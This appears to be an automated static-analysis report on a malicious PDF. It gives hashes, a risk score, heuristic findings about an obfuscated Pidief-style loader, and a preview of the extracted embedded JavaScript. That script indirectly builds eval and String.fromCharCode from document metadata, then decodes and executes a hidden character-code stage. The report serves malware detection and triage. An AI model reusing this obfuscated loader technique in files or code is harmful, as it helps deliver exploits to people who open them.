Malicious PDF — malware analysis report

Static analysis result for SHA-256 28603526a938e279…

MALICIOUS

PDF

44.9 KB Authoring application: substr First seen: 2026-05-07
MD5: 012d5552f6c9976d9f8f2e13268c1f5f SHA-1: 60bccc8923e08256f47d90534e5d20dbf75faa37 SHA-256: 28603526a938e279f949de0c5ea347e9a97ca9b29ec24bd66e33ae04cd695572
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely responsible for executing malicious code, although its specific actions cannot be determined without further analysis of the script content. The document body text is minimal and does not provide additional context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB107 483 bytes
SHA-256: 5980dc314872c83b407d55e0f301c1e0aa6ab01a3b37056005d3f378ec9159ad
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
lka=e(v[4]+'i'.concat(v[4],t));
q=lka[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
vmqre=e(e('d'));
sub=v[0];
sub+='ubject';
q=lka[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	bdrec = 1*(q[i]);
	i++;
	bdrec -= (-1)*(q[i]);
	s2 += vmqre(bdrec);
	i++;
}
e(s2);

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